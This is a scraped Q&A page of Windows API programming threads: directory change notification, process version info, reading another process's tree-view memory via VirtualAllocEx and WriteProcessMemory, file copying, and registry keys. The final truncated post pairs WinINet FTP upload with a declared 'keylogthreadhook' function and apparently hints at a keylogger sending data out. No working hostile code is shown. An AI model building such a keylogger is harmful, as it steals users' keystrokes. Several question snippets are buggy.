ReadDirectoryChangesW not notifying when moving the files - winapi

I’m new to this windows API. I’m a GUI developer in my project i need to monitor a particular folder . I have followed every steps in the Windows API using ReadDirectoryChangeW but ReadDirectoryChangeW is not notifying me when the file is moved to other directory (cut/paste or delete to move to trash).at least it should notify as FILE_ACTION_RENAMED
It is windows 7 and ReadDirectorChangeW is working on normal copy,paset,shift+delete,rename
this code is written in Qt c++ where QString is char *
this is my code
#include <windows.h>
#include <Winbase.h>
#include <stdlib.h>
#include <stdio.h>
#include <tchar.h>
#include <qDebug>
#include <QThread>
#define MAX_DIRS 200
#define MAX_FILES 255
#define MAX_BUFFER 4096
#if 0
extern "C" {
WINBASEAPI BOOL WINAPI
ReadDirectoryChangesW( HANDLE hDirectory,
LPVOID lpBuffer, DWORD nBufferLength,
BOOL bWatchSubtree, DWORD dwNotifyFilter,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped,
LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
);
}
#endif
class WatcherThread : public QThread
{
Q_OBJECT
public:
WatcherThread(LPCWSTR dir)
{
path = dir;
}
void run() Q_DECL_OVERRIDE {
QString newDirName;
char buf[2048];
DWORD nRet;
BOOL result=TRUE;
char filename[MAX_PATH];
//path = L"K:/Demo/bb";
wchar_t* arr = (wchar_t*)path;
printf("\nThe file directory: [%s] \n", path);
qDebug() << "WatchDirectory Watcher Path " << QString::fromWCharArray(arr);
DirInfo[0].hDir = CreateFile (path, GENERIC_READ|FILE_LIST_DIRECTORY,
FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS,
NULL);
if(DirInfo[0].hDir == INVALID_HANDLE_VALUE)
{
qDebug() << "Can not open";
return;
}
lstrcpy( DirInfo[0].lpszDirName, path);
OVERLAPPED PollingOverlap;
FILE_NOTIFY_INFORMATION pNotify[1024];
int offset;
PollingOverlap.OffsetHigh = 0;
PollingOverlap.hEvent = CreateEvent(NULL,TRUE,FALSE,NULL);
while(result)
{
result = ReadDirectoryChangesW(
DirInfo[0].hDir,// handle to the directory to be watched
(LPVOID)&pNotify,// pointer to the buffer to receive the read results
sizeof(pNotify),// length of lpBuffer
1,// flag for monitoring directory or directory tree
FILE_NOTIFY_CHANGE_DIR_NAME | FILE_NOTIFY_CHANGE_LAST_WRITE | FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_SIZE ,
&nRet,// number of bytes returned
&PollingOverlap,// pointer to structure needed for overlapped I/O
NULL);
WaitForSingleObject(PollingOverlap.hEvent,INFINITE);
// if(result)
// {
offset = 0;
int rename = 0;
char oldName[260];
char newName[260];
do
{
//pNotify = (FILE_NOTIFY_INFORMATION*)((char*)buf + offset);
strcpy(filename, "");
int filenamelen = WideCharToMultiByte(CP_ACP, 0, pNotify[offset].FileName, pNotify[offset].FileNameLength/2, filename, sizeof(filename), NULL, NULL);
//filename[pNotify->FileNameLength/2] = ' ';
switch(pNotify[offset].Action)
{
case FILE_ACTION_ADDED:
qDebug() << "The FILE_ACTION_ADDED***********" << QString(filename).left(filenamelen);
emit onFileCopy(QString(filename).left(filenamelen));
break;
case FILE_ACTION_MODIFIED:
qDebug() << "The FILE_ACTION_MODIFIED" << QString(filename).left(filenamelen);
break;
case FILE_ACTION_REMOVED:
qDebug() << "The FILE_ACTION_REMOVED" << QString(filename).left(filenamelen);
emit onFileRemove(QString(filename).left(filenamelen));
break;
case FILE_ACTION_RENAMED_OLD_NAME:
qDebug() << "The FILE_ACTION_RENAMED_OLD_NAME" << QString(filename).left(filenamelen);
break;
case FILE_ACTION_RENAMED_NEW_NAME:
newDirName = QString(filename).left(filenamelen);
qDebug() << "The FILE_ACTION_RENAMED_NEW_NAME" << newDirName;
emit onDirRename(newDirName);
break;
default:
printf("\nDefault error.\n");
break;
}
//qDebug() << "pNotify->NextEntryOffset" << pNotify[offset].NextEntryOffset <<" offset "<< offset << nRet ;
offset += pNotify[offset].NextEntryOffset;
}while(pNotify[offset].NextEntryOffset); //(offset != 0)
ResetEvent(PollingOverlap.hEvent);
}
CloseHandle( DirInfo[0].hDir );
}
public:
signals:
void onDirRename(QString Dir);
void onFileRemove(QString name);
void onFileCopy(QString name);
private:
LPCWSTR path;
typedef struct _DIRECTORY_INFO {
HANDLE hDir;
TCHAR lpszDirName[MAX_PATH];
CHAR lpBuffer[MAX_BUFFER];
DWORD dwBufLength;
OVERLAPPED Overlapped;
}DIRECTORY_INFO, *PDIRECTORY_INFO, *LPDIRECTORY_INFO;
DIRECTORY_INFO DirInfo[MAX_DIRS];
TCHAR FileList[MAX_FILES*MAX_PATH];
DWORD numDirs;
};
It is a Qt based object. the path is the directory i will monitor and update any changes happens.

Related

Getting process description with given process-id

I've got a program that enumerates all processes with the Toolhelp API. With my Sysinternals Process Explorer I also can see a description of all processes. Is this description coming from the executable ? How do I get its name ?
That's my current code to enumerate the processes:
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <vector>
#include <system_error>
#include <memory>
using namespace std;
vector<PROCESSENTRY32W> getAllProcesses();
int main()
{
for( PROCESSENTRY32W &pe : getAllProcesses() )
wcout << pe.szExeFile << endl;
}
using XHANDLE = unique_ptr<void, decltype([]( HANDLE h ) { h && h != INVALID_HANDLE_VALUE && CloseHandle( h ); })>;
vector<PROCESSENTRY32W> getAllProcesses()
{
auto throwSysErr = []() { throw system_error( (int)GetLastError(), system_category(), "error enumerating processes" ); };
vector<PROCESSENTRY32W> processes;
XHANDLE xhSnapshot( CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ) );
if( xhSnapshot.get() == INVALID_HANDLE_VALUE )
throwSysErr();;
PROCESSENTRY32W pe;
pe.dwSize = sizeof pe;
if( !Process32FirstW( xhSnapshot.get(), &pe ) )
throwSysErr();
for( ; ; )
{
processes.emplace_back( pe );
pe.dwSize = sizeof pe;
if( !Process32NextW( xhSnapshot.get(), &pe ) )
if( GetLastError() == ERROR_NO_MORE_FILES )
break;
else
throwSysErr();
}
return processes;
}
#RemyLebeau 's way with code implement which is adapted from VerQueryValueA document sample. And as OpenProcess states,
If the specified process is the System Idle Process (0x00000000), the
function fails and the last error code is ERROR_INVALID_PARAMETER. If
the specified process is the System process or one of the Client
Server Run-Time Subsystem (CSRSS) processes, this function fails and
the last error code is ERROR_ACCESS_DENIED because their access
restrictions prevent user-level code from opening them.
int main()
{
TCHAR szFile[MAX_PATH] = {};
DWORD dwSize = MAX_PATH;
for (PROCESSENTRY32W& pe : getAllProcesses())
{
wcout << pe.szExeFile << endl;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,
FALSE, pe.th32ProcessID);
if (hProcess == NULL)
{
//ErrorExit(TEXT("OpenProcess"));
}
else
{
memset(szFile, 0, MAX_PATH);
dwSize = MAX_PATH;
QueryFullProcessImageName(hProcess,0, szFile,&dwSize);
DWORD s = GetFileVersionInfoSize(szFile,NULL);
if (s != 0)
{
LPVOID lpData = HeapAlloc(GetProcessHeap(), 0, s);
GetFileVersionInfo(szFile,0,s, lpData);
HRESULT hr;
UINT cbTranslate;
struct LANGANDCODEPAGE {
WORD wLanguage;
WORD wCodePage;
} *lpTranslate;
// Read the list of languages and code pages.
VerQueryValue(lpData,
TEXT("\\VarFileInfo\\Translation"),
(LPVOID*)&lpTranslate,
&cbTranslate);
// Read the file description for each language and code page.
LPVOID lpBuffer;
UINT dwBytes;
for (int i = 0; i < (cbTranslate / sizeof(struct LANGANDCODEPAGE)); i++)
{
TCHAR SubBlock[255] = {};
hr = StringCchPrintf(SubBlock, 50,
TEXT("\\StringFileInfo\\%04x%04x\\FileDescription"),
lpTranslate[i].wLanguage,
lpTranslate[i].wCodePage);
if (FAILED(hr))
{
// TODO: write error handler.
}
// Retrieve file description for language and code page "i".
VerQueryValue(lpData,
SubBlock,
&lpBuffer,
&dwBytes);
wcout << (TCHAR*)(lpBuffer) << endl;
}
HeapFree(GetProcessHeap(), 0, lpData);
}
//GetProcessImageFileName(hProcess, szFile, dwSize);
}
}
}

How to properly loop through / get text / select SysTreeView32 window item

I've spent a couple of hours pouring through Microsoft's Dev Center; however, I can't seem to figure out how to do the following two things:
Cycle through and view the names of each program under the 'Expert Advisors' section of the 'Navigator' sub window (for example 'MACD Sample' in screenshot below)
select and double click the program (e.g. 'MACD Sample').
Winspector(Left) | Application(Right)
My main problem seems to be that I don't know how to properly use HTREEITEM to access the information. I noticed there is a function ListView_GetItemText, but I've been unable to find a TreeView_GetItemText or equivalent function.
Any help would be greatly appreciated.
Below is the main function of my program:
int _tmain(int argc, _TCHAR* argv[])
{
wcout << TEXT("Enumerating Windows...") << endl;
HWND handle = NULL;
//--- Success: gets application handle
bool success1 = getHandle(L"MetaTrader", L"20", handle);
cout << "Success1: " << success1 << endl;
cout << "Result1: " << handle << endl;
//--- Success: gets navigator window
bool success2 = getChildHandle(handle, L"", L"Navigator", handle);
cout << "Success2: " << success2 << endl;
cout << "Result2: " << handle << endl;
//--- Success: gets "SysTreeView32" handle
handle = FindWindowEx(handle, 0, L"SysTreeView32", L"");
cout << "Result3: " << handle << endl;
//--- Success: get "SysTreeView32" root nod
HTREEITEM root = TreeView_GetNextItem(handle, NULL, TVGN_ROOT);
cout << "root: " << root << endl;
return 0;
}
The result of running the code seems to be working properly
Entire code for completeness:
// MT4Terminal-test.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#pragma once
#include "targetver.h"
#include <iostream>
#include <map>
#include <string>
namespace std {
#if defined _UNICODE || defined UNICODE
typedef wstring tstring;
#else
typedef string tstring;
#endif
}
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <psapi.h>
#include <Windows.h>
#include <Commctrl.h>
#include <windows.system.h>
using namespace std;
HWND glb_handle;
tstring glb_searchWindowTitle;
tstring glb_seachClassName;
BOOL CALLBACK enumWindowsChildProc(
__in HWND hWnd,
__in LPARAM lParam
) {
return TRUE;
}
BOOL CALLBACK enumWindowsProc(
__in HWND hWnd,
__in LPARAM lParam
) {
int length = ::GetWindowTextLength(hWnd);
if (0 == length) return TRUE;
TCHAR* bufferA;
bufferA = new TCHAR[length + 1];
memset(bufferA, 0, (length + 1) * sizeof(TCHAR));
TCHAR* bufferB;
bufferB = new TCHAR[100];
memset(bufferB, 0, 100 * sizeof(TCHAR));
GetWindowText(hWnd, bufferA, length + 1);
GetClassName(hWnd, bufferB, 100);
tstring windowTitle = tstring(bufferA);
tstring className = tstring(bufferB);
delete bufferA;
delete bufferB;
if (windowTitle.find(glb_searchWindowTitle) < string::npos &&
className.find(glb_seachClassName) < string::npos)
glb_handle = hWnd;
wcout.clear();
return TRUE;
}
bool getHandle(wstring searchClassName, wstring searchWindowTitle, HWND &handle)
{
handle = NULL;
glb_handle = NULL;
glb_searchWindowTitle = searchWindowTitle;
glb_seachClassName = searchClassName;
BOOL enumeratingWindowsSucceeded = EnumWindows(enumWindowsProc, NULL);
if (enumeratingWindowsSucceeded)
{
if (glb_handle != NULL)
{
handle = glb_handle;
return true;
}
}
glb_handle = NULL;
glb_searchWindowTitle = L"";
glb_seachClassName = L"";
return false;
}
bool getChildHandle(HWND parent_handle, wstring searchClassName, wstring searchWindowTitle, HWND &handle)
{
handle = NULL;
glb_handle = NULL;
glb_searchWindowTitle = searchWindowTitle;
glb_seachClassName = searchClassName;
BOOL enumeratingWindowsSucceeded = EnumChildWindows(parent_handle, enumWindowsProc, NULL);
if (enumeratingWindowsSucceeded)
{
if (glb_handle != NULL)
{
handle = glb_handle;
return true;
}
}
glb_handle = NULL;
glb_searchWindowTitle = L"";
glb_seachClassName = L"";
return false;
}
int _tmain(int argc, _TCHAR* argv[])
{
wcout << TEXT("Enumerating Windows...") << endl;
HWND handle = NULL;
//--- Success: gets application handle
bool success1 = getHandle(L"MetaTrader", L"20", handle);
cout << "Success1: " << success1 << endl;
cout << "Result1: " << handle << endl;
//--- Success: gets navigator window
bool success2 = getChildHandle(handle, L"", L"Navigator", handle);
cout << "Success2: " << success2 << endl;
cout << "Result2: " << handle << endl;
//--- Success: gets "SysTreeView32" handle
handle = FindWindowEx(handle, 0, L"SysTreeView32", L"");
cout << "Result3: " << handle << endl;
//--- Success: get "SysTreeView32" root nod
HTREEITEM root = TreeView_GetNextItem(handle, NULL, TVGN_ROOT);
cout << "root: " << root << endl;
return 0;
}
Selecting a SysTreeView32 item
(For clarification, when I say selecting a SysTreeView32 item, I'm referring to simulating a double-click operation on a tree node -- similar to how one can double click an icon on their Desktop to open a program)
After looking at the documentation, I'm convinced:
There doesn't exist an explicit message that will simulate double-clicking a node on a tree using the handle to the tree-view item
A possible work around would be to send the TVM_GETITEMRECT message to get the coordinates of the tree node, and then use SendInput() to send a click
Are the above two statements correct?
After implementing Barmak Shemirani's code, I tried to implement #2 above using the same methodology as in Barmak Shemirani's fix. Specifically, I attempted to allocate a Rect struct in the other Application program's memory with VirtualAllocEx(), call the TreeView_GetItemRect macro in my program with a pointer to the rectangle, and read the results with ReadProcessMemory().
However, my program crashes when I call TreeView_GetItemRect(), while passing the pointer to the Rect in the other Apps memory. Most likely, because TreeView_GetItemRect() is trying to write the Rect coordinates to an invalid memory address. This caused me to realize that I don't really understand what the macro is doing:
Hence, checking out the source, I found:
#define HELLO
#define TV_FIRST 0x1100 // TreeView messages
#define TVM_GETITEMRECT (TV_FIRST + 4)
#define TreeView_GetItemRect(hwnd, hitem, prc, code) \
(*(HTREEITEM *)(prc) = (hitem), (BOOL)SNDMSG((hwnd), TVM_GETITEMRECT, (WPARAM)(code), (LPARAM)(RECT *)(prc)))
I mostly understand everything except for the part before the SNDMSG function:
(*(HTREEITEM *)(prc) = (hitem),
What exactly does the above statement mean? Is this casting the rectangle pointer that I pass to a HTREEITEM pointer, which is somehow causing the program to crash?
Screenshot of console freezing
New code
int _tmain(int argc, _TCHAR* argv[])
{
wcout << TEXT("Enumerating Windows...") << endl;
HWND handle = NULL;
//--- Success: gets application handle
bool success1 = getHandle(L"MetaTrader", L"20", handle);
//--- Success: gets navigator window
bool success2 = getChildHandle(handle, L"", L"Navigator", handle);
//--- Success: gets "SysTreeView32" handle
handle = FindWindowEx(handle, 0, L"SysTreeView32", L"");
//--- Success: get "SysTreeView32" root nod
HTREEITEM root = TreeView_GetNextItem(handle, NULL, TVGN_ROOT);
unsigned long pid;
GetWindowThreadProcessId(handle, &pid);
HANDLE process = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE |
PROCESS_QUERY_INFORMATION, FALSE, pid);
TVITEM item, *_item;
wchar_t buf[CHAR_BUF_LEN];
wchar_t *_buf;
memset(buf, 0, sizeof(buf) / sizeof(buf[0]));
_item = (TVITEM*)VirtualAllocEx(process, NULL, sizeof(TVITEM), MEM_COMMIT, PAGE_READWRITE);
_buf = (wchar_t*)VirtualAllocEx(process, NULL, CHAR_BUF_LEN, MEM_COMMIT, PAGE_READWRITE);
item.cchTextMax = CHAR_BUF_LEN;
item.pszText = _buf;
item.mask = TVIF_TEXT;
//--- find Experts Advisors branch in tree
HTREEITEM node = TreeView_GetNextItem(handle, root, TVGN_CHILD);
node = TreeView_GetNextItem(handle, node, TVGN_NEXT);
node = TreeView_GetNextItem(handle, node, TVGN_NEXT);
RECT rect, *_rect;
_rect = (RECT*)VirtualAllocEx(process, NULL, sizeof(RECT), MEM_COMMIT, PAGE_READWRITE);
rect = { 0 };
WriteProcessMemory(process, _rect, &rect, sizeof(RECT), NULL);
//--- step into Expert Advisors
node = TreeView_GetNextItem(handle, node, TVGN_CHILD);
//--- target program to open
wchar_t ea_name[] = L"MACD Sample";
while (node != NULL)
{
ZeroMemory(buf, CHAR_BUF_LEN);
item.hItem = node;
//Binds item and _item
WriteProcessMemory(process, _item, &item, sizeof(TVITEM), NULL);
TreeView_GetItem(handle, _item);
//Read buffer back to this program's process memory
ReadProcessMemory(process, _buf, buf, CHAR_BUF_LEN, NULL);
//Print program name
wcout << buf << endl;
if (wcscmp(ea_name, buf) == 0)
{
cout << "Found target program: " << ea_name << endl;
cout << "get rectangle coordinates: " << TreeView_GetItemRect(handle, node, _rect, TRUE) << endl;
}
node = TreeView_GetNextItem(handle, node, TVGN_NEXT);
}
VirtualFreeEx(process, _item, 0, MEM_RELEASE);
VirtualFreeEx(process, _buf, 0, MEM_RELEASE);
VirtualFreeEx(process, _rect, 0, MEM_RELEASE);
return 0;
}
This is the method you would normally use to read a TreeView item's text:
wchar_t buf[100];
memset(buf, 0, sizeof(buf));
TVITEM item = { 0 };
item.hItem = hitem;
item.cchTextMax = 100;
item.pszText = buf;
item.mask = TVIF_TEXT;
TreeView_GetItem(hwnd, &item);
This will not work in your program. TreeView_GetItem is a macro based on SendMessage, it copies data through LPARAM parameter. But this exchange is not allowed between different processes.
You could spend hours, possibly days, trying to hack it
(See this example)
Or you may want to research and see if the target program supports UI Automation
Edit, here is example to get HTREEITEM text. This won't work unless:
caller and target program are both 32-bit, or both 64-bit
caller and target program are both unicode
If target program is ANSI then change this function to ANSI.
HTREEITEM hitem = TreeView_GetSelection(hwndTree);
if (!hitem)
debug << "!hitem\n";
const int buflen = 512;
DWORD pid;
GetWindowThreadProcessId(hwndTree, &pid);
HANDLE process = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE
| PROCESS_QUERY_INFORMATION, FALSE, pid);
TVITEMEX* ptv = (TVITEMEX*)VirtualAllocEx(process, NULL, sizeof(TVITEMEX),
MEM_COMMIT, PAGE_READWRITE);
wchar_t* pbuf = (wchar_t*)VirtualAllocEx(process, NULL, buflen,
MEM_COMMIT, PAGE_READWRITE);
TVITEMEX tv = { 0 };
tv.hItem = hitem;
tv.cchTextMax = buflen / 2;
tv.pszText = pbuf;
tv.mask = TVIF_TEXT | TVIF_HANDLE;
WriteProcessMemory(process, ptv, &tv, sizeof(TVITEMEX), NULL);
if (SendMessageW(hwndTree, TVM_GETITEM, 0, (LPARAM)(TVITEMEX*)(ptv)))
{
wchar_t buf[buflen / 2];
ReadProcessMemory(process, pbuf, buf, buflen, 0);
debug << "Result:" << buf << "\n";
}
else
debug << "!SendMessageW\n";
VirtualFreeEx(process, ptv, 0, MEM_RELEASE);
VirtualFreeEx(process, pbuf, 0, MEM_RELEASE);
CloseHandle(process); //*** I forgot this line before
The most voted answer has solved your problem, but I'd like to add some comment on the statement:
(*(HTREEITEM *)(prc) = (hitem),
TVM_GETITEMRECT has explained that :
When sending this message, the lParam parameter contains the handle of the item that the rectangle is being retrieved for.
In macro TreeView_GetItemRect, prc will be replaced by _rect, which is allocated in other process. So the program crashed.
For your situation, you can replace the code:
TreeView_GetItemRect(handle, node, _rect, TRUE)
by:
RECT rect, *_rect;
_rect = (RECT*)VirtualAllocEx(process, NULL, sizeof(RECT), MEM_COMMIT, PAGE_READWRITE);
*(HTREEITEM*)&rect = node;
WriteProcessMemory(process, _rect, &rect, sizeof(RECT), NULL);
SendMessage(handle, TVM_GETITEMRECT, true, (LPARAM)_rect);

ReadFile/WriteFile crahes

Something wrong with next ReadFile/WriteFile code.
I need to use copy file by using this functions (yes, it's better to use CopyFile, but now I need it), but it crashed at read/write loop.
What can be wrong?
PS C:\Users\user\Documents\SysLab1\dist\Debug\MinGW-Windows> g++ --version
g++.exe (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.8.3
I used next code :
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define BLOCK_SIZE 1024
uint32_t copy_c(char* source, char* destination) {...}
uint32_t copy_api_readwrite(char* source, char* destination) {
bool result;
HANDLE input = CreateFile(source, GENERIC_READ, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (input!=INVALID_HANDLE_VALUE) {
HANDLE output = CreateFile(destination, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(output!=INVALID_HANDLE_VALUE) {
DWORD readed;
char block[BLOCK_SIZE];
while(ReadFile(input, block, BLOCK_SIZE * sizeof(char), &readed, NULL)>0) {
WriteFile(output, block, readed, NULL, NULL);
}
if(GetLastError()==ERROR_HANDLE_EOF) {
result = true;
}
else {
result = false;
}
CloseHandle(output);
}
else {
result = false;
}
CloseHandle(input);
}
else {
result = true;
}
if(result) {
return 0;
}
else {
return GetLastError();
}
return result;
}
uint32_t copy_api(char* source, char* destination) {...}
#define COPY_READWRITE
#ifdef COPY_C
#define COPY copy_c
#else
#ifdef COPY_READWRITE
#define COPY copy_api_readwrite
#else
#ifdef COPY_API
#define COPY copy_api
#endif
#endif
#endif
int main(int argc, char** argv) {
if(argc<3) {
std::cout << "Bad command line arguments\n";
return 1;
}
uint32_t result = COPY(argv[1], argv[2]);
if(result==0) {
std::cout << "Success\n";
return 0;
}
else {
std::cout << "Error : " << result << "\n";
return 2;
}
}
From the documentation of WriteFile:
lpNumberOfBytesWritten
This parameter can be NULL only when the lpOverlapped parameter is not NULL.
You are not meeting that requirement. You will have to pass the address of a DWORD variable into which the number of bytes written will be stored.
Another mistake is in the test of the return value of ReadFile. Instead of testing ReadFile(...) > 0 you must test ReadFile(...) != 0, again as described in the documentation.
You don't check the return value of WriteFile which I also would regard as a mistake.
By definition, sizeof(char) == 1. It is idiomatic to make use of that.
When dealing with binary data, as you are, again it is idiomatic to use unsigned char.
More idiom. Write the assignment of result like this:
result = (GetLastError() == ERROR_HANDLE_EOF);

Convert a char * to inizialite an entity of type LPCTSTR for RegCreateKeyEx

I know I am a Windows programming nob, so I am just learning.
I am writing a Command Line tool to work with some of the Registry Functions of the Windows API, but I need to convert a char * that comes from an argv[] array to initialize a LPCTSTR variable with the content but I don't know how to do that.
This is the code I have so far:
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
int main(int argc, char *argv [])
{
int count;
DWORD Reserved = 0;
LPTSTR lpClass = NULL;
DWORD dwOptions = REG_OPTION_NON_VOLATILE;
REGSAM samDesired = KEY_ALL_ACCESS;
LPSECURITY_ATTRIBUTES lpSecurityAttributes = NULL;
HKEY phkResult;
DWORD lpdwDisposition;
if (argv[1] == 0)
{
printf("There are no arguments, pleas type one at least. \n");
}
else if (std::string(argv[1]) == "-Clave")
{
if (std::string(argv[2]) == "HKCU")
{
printf("You are going to create a HKCU sub-key \n");
HKEY hKey = HKEY_CURRENT_USER;
if (std::string(argv[3]) != "")
{
printf("You are going to create this sub-key: %s \n",argv[3]);
//This is what I tried.
LPCTSTR lpSubKey = TEXT("%s",argv[3]);
RegCreateKeyEx(hKey, lpSubKey, Reserved, lpClass, dwOptions, samDesired, lpSecurityAttributes, &phkResult, &lpdwDisposition);
if (lpdwDisposition == REG_CREATED_NEW_KEY)
{
printf("The registry key has been created. \n");
}
}
else
printf("No one");
}
else
{
printf("No key has been specified \n");
}
}
system("Pause");
}
Can you help me out?
Thanks a lot.
Have a look at the MultiByteToWideChar function in Windows.h. Here's a nice and quick example:
const char * orig = "text1";
WCHAR buffer[6];
MultiByteToWideChar(0, 0, orig, 5, buffer, 6 );
LPCWSTR text = buffer;
Whoops, that's for LPCWSTR. For LPCTSTR, just use :
LPCTSTR text = _T("text1");
Another possible solution is to change main function declaration in this way :
int _tmain(int argc, TCHAR* argv[])
Quote from MSDN :
You can also use _tmain, which is defined in TCHAR.h. _tmain resolves
to main unless _UNICODE is defined. In that case, _tmain resolves to
wmain.
Second parameter on RegCreateKeyEx is on type* LPCTSTR.
lpSubKey is declared by the same type and will be initialized properly when passed as an argument to the RegCreateKeyEx function .
Here is your source code compiled with Visual C++, and uses Multi-byte Character Set (_MBCS macro is defined) :
// RegCreate.cpp : Defines the entry point for the console application.
// VC++ Compiler Options :
// cl /W3 /MT /O2 /D WIN32 /D _CONSOLE /D _MBCS /EHsc /TP RegCreate.cpp
#include <Windows.h>
#include <iostream>
#include <string>
#include <tchar.h>
#ifndef _MBCS
#define _MBCS
#endif
#pragma comment(lib, "Advapi32.lib")
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
DWORD Reserved = 0;
LPTSTR lpClass = NULL;
DWORD dwOptions = REG_OPTION_NON_VOLATILE;
REGSAM samDesired = KEY_ALL_ACCESS;
LPSECURITY_ATTRIBUTES lpSecurityAttributes = NULL;
HKEY phkResult;
DWORD lpdwDisposition;
if(argc < 3)
{
std::cout << "There are no arguments, pleas type one at least. " << std::endl;
return 1;
}
if((std::string(argv[1]) == "-Clave") && (std::string(argv[2]) == "HKCU") && (argc == 4))
{
std::cout << "You are going to create a HKCU sub-key " << std::endl;
HKEY hKey = HKEY_CURRENT_USER;
if(std::string(argv[3]) != "")
{
std::cout << "You are going to create this sub-key: " << argv[3] << std::endl;
//This is what I tried.
LPCTSTR lpSubKey = argv[3];
if(ERROR_SUCCESS != RegCreateKeyEx(hKey, lpSubKey, Reserved, lpClass, dwOptions, samDesired,
lpSecurityAttributes, &phkResult, &lpdwDisposition))
{
return 1;
}
if(lpdwDisposition == REG_CREATED_NEW_KEY)
{
std::cout << "The registry key has been created. " << std::endl;
}
RegCloseKey(phkResult);
}
else
{
std::cout << "No one";
}
}
else
{
std::cout << "No key has been specified " << std::endl;
}
return 0;
}
We can use the TEXT macro to define a string as being Unicode or not, but in the above example this is not necessary .
If you use C++ I suggest you to change printf with std::cout, that works with ASCII characters .
The simplest solution is to explicitly call the Ansi versions of the Registry functions (RegCreateKeyExA, etc) and let Windows handle the conversions for you. You are currently calling the Unicode versions of the functions (RegCreateKeyExW, etc), or you wouldn't be having conversion problems in the first place:
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
int main(int argc, char *argv [])
{
int count;
HKEY hkResult;
DWORD dwDisposition;
if (argc < 1)
{
printf("There are no arguments, pleas type one at least. \n");
}
else if (strcmp(argv[1], "-Clave") == 0)
{
if (argc < 3)
{
printf("There are not enough arguments typed in. \n");
}
else if (strcmp(argv[2], "HKCU") == 0)
{
if (strcmp(argv[3], "") != 0)
{
printf("You are going to create HKCU sub-key: %s \n", argv[3]);
if (RegCreateKeyExA(HKEY_CURRENT_USER, argv[3], 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkResult, &dwDisposition) == 0)
{
if (dwDisposition == REG_CREATED_NEW_KEY)
{
printf("The registry key has been created. \n");
}
else
{
printf("The registry key already exists. \n");
}
RegCloseKey(hkResult);
}
else
{
printf("Unable to create the registry key. \n");
}
}
else
{
printf("No HKCU sub-key has been specified \n");
}
}
else
{
printf("No root key has been specified \n");
}
}
system("Pause");
return 0;
}
Update: If you want to be politically correct, most Win32 APIs that deal with text data actually deal with TCHAR (which is what you were attempting to use, but not successfully) so that they can be compiled for both Ansi and Unicode with a single codebase, eg:
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
#include <tchar.h>
int _tmain(int argc, TCHAR *argv [])
{
int count;
HKEY hkResult;
DWORD dwDisposition;
if (argc < 1)
{
_tprintf(_T("There are no arguments, pleas type one at least. \n"));
}
else if (_tcscmp(argv[1], _T("-Clave")) == 0)
{
if (argc < 3)
{
_tprintf(_T("There are not enough arguments typed in. \n"));
}
else if (_tcsicmp(argv[2], _T("HKCU")) == 0)
{
if (_tcscmp(argv[3], _T("")) != 0)
{
_tprintf(_T("You are going to create HKCU sub-key: %s \n"), argv[3]);
if (RegCreateKeyEx(HKEY_CURRENT_USER, argv[3], 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkResult, &dwDisposition) == 0)
{
if (dwDisposition == REG_CREATED_NEW_KEY)
{
_tprintf(_T("The registry key has been created. \n"));
}
else
{
_tprintf(_T("The registry key already exists. \n"));
}
RegCloseKey(hkResult);
}
else
{
_tprintf(_T("Unable to create the registry key. \n"));
}
}
else
{
_tprintf(_T("No HKCU sub-key has been specified \n"));
}
}
else
{
_tprintf(_T("No root key has been specified \n"));
}
}
_tsystem(_T("Pause"));
return 0;
}
With that said, since you are starting a new project, you are best off forgetting that Ansi even exists and just use Unicode for everything:
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
int wmain(int argc, WCHAR *argv [])
{
int count;
HKEY hkResult;
DWORD dwDisposition;
if (argc < 1)
{
wprintf(L"There are no arguments, pleas type one at least. \n");
}
else if (wcscmp(argv[1], L"-Clave") == 0)
{
if (argc < 3)
{
wprintf(L"There are not enough arguments typed in. \n");
}
else if (_wcsicmp(argv[2], L"HKCU") == 0)
{
if (wcscmp(argv[3], L"") != 0)
{
wprintf(L"You are going to create HKCU sub-key: %s \n", argv[3]);
if (RegCreateKeyExW(HKEY_CURRENT_USER, argv[3], 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkResult, &dwDisposition) == 0)
{
if (dwDisposition == REG_CREATED_NEW_KEY)
{
wprintf(L"The registry key has been created. \n");
}
else
{
wprintf(L"The registry key already exists. \n");
}
RegCloseKey(hkResult);
}
else
{
wprintf(L"Unable to create the registry key. \n");
}
}
else
{
wprintf(L"No HKCU sub-key has been specified \n");
}
}
else
{
wprintf(L"No root key has been specified \n");
}
}
_wsystem(L"Pause");
return 0;
}

Wininet error 12003 ftpOpenFile

I am trying to write a file to a drivehq.com server. The file does not exist on local disk, nor on the ftp server, so does FtpOpenFile Create a file for me automatically?
I am getting error 12003 and I don't know what to do..
The Error Happens in case continue:
#include <iostream>
#include <windows.h>
#include <process.h>
#include <string>
#include <Wininet.h>
#include <vector>
#include <map>
#include <ctime>
using std::string;
using std::cout;
using std::cin;
using std::vector;
using std::map;
unsigned int __stdcall keylogthreadhook(void *);
